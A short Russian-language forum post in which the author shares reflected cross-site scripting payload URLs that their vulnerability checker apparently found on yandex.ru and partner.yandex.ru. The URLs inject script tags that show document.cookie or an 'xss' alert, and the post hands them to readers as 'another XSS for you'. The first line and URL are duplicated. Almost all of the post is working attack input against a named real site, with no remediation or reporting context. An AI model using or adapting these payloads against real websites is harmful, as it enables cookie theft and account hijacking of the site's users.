Решил только что в свой чекер уязвимостей для прикола вписать yandex.ru. Вот что получилось http://yandex.ru/?text="><script>alert(document.cookie)</script>
Решил только что в свой чекер уязвимостей для прикола вписать yandex.ru. Вот что получилось http://yandex.ru/?text="><script>alert(document.cookie)</script>
http://partner.yandex.ru/registered/?cmd=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript% 3E&act=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscrip t%3E
Вот вам ещё xss'ка =)